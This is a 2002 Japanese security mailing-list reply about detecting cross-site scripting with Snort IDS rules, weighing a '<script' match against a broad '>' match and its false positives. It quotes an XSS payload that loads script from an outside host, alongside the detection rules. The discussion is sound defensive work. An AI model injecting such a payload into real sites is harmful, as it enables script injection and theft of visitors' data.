[stalk:01214] Re: クロスサイトスクリプティングの検出

[Hideaki Ihara <hideaki@xxxxxxxxxxxxx>]

こんにちは、Port139 伊原です。

風邪ひいたかも...

On Thu, 14 Mar 2002 14:13:53 +0900
office <office@xxxxxxxxx> wrote:

>> alert tcp any any > $HOME_NET 80 ( msg:"CCS ATTACK DETECTED"; content:"<script"; )
>今日先ほど公開した首相官邸への攻撃？URL例だと、
>
snip
>ですので、攻撃タグのようなものは存在しません。
>必要なのは「タグを閉じる」ことだけなので、要はただ一文字 > です。

ということですと、

alert tcp any any > $HOME_NET 80 ( msg:"CCS ATTACK DETECTED";content:">"; )

というかなりあれげなルールの方がいいんでしょうか...

GET or POST で、インターネット側から文字列'>'が送られてくるケース
がどの程度あるかによって誤検知の警告が増えそうですね...でもそいう
ケースがどのていどあるか想像できない私(T_T)

>また、凶悪な攻撃方法としては、Form があります。
><script src=http://www.office.ac/malicious_code></script>

こいうのはさすがに content:"<script"; で検出だけはできそうです
が、office さんが指摘されてるその先は...

>「これまで個人情報を盗まれた形跡はありません。」
>という文言が書かれることもあるのですが、本当はそんなことはわかりっこありません。

Form の例ですと、捉えようがないかもしれませんが、自サイトであれ
ば Snort で戻りのパケットも含めて（ストリーム？）捕らえるように
しておくと実害があったかの検出もいけるんでしょうか...

---

Hideaki Ihara <hideaki@xxxxxxxxxxxxx>
Port139 URL: http://www.port139.co.jp/
PGP PUBLIC KEY: http://www.port139.co.jp/pgp/

--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
　　      ★ケータイに“足あと”がつく！追跡して友達になろう。
              http://profile.www.infoseek.co.jp/?svx=971122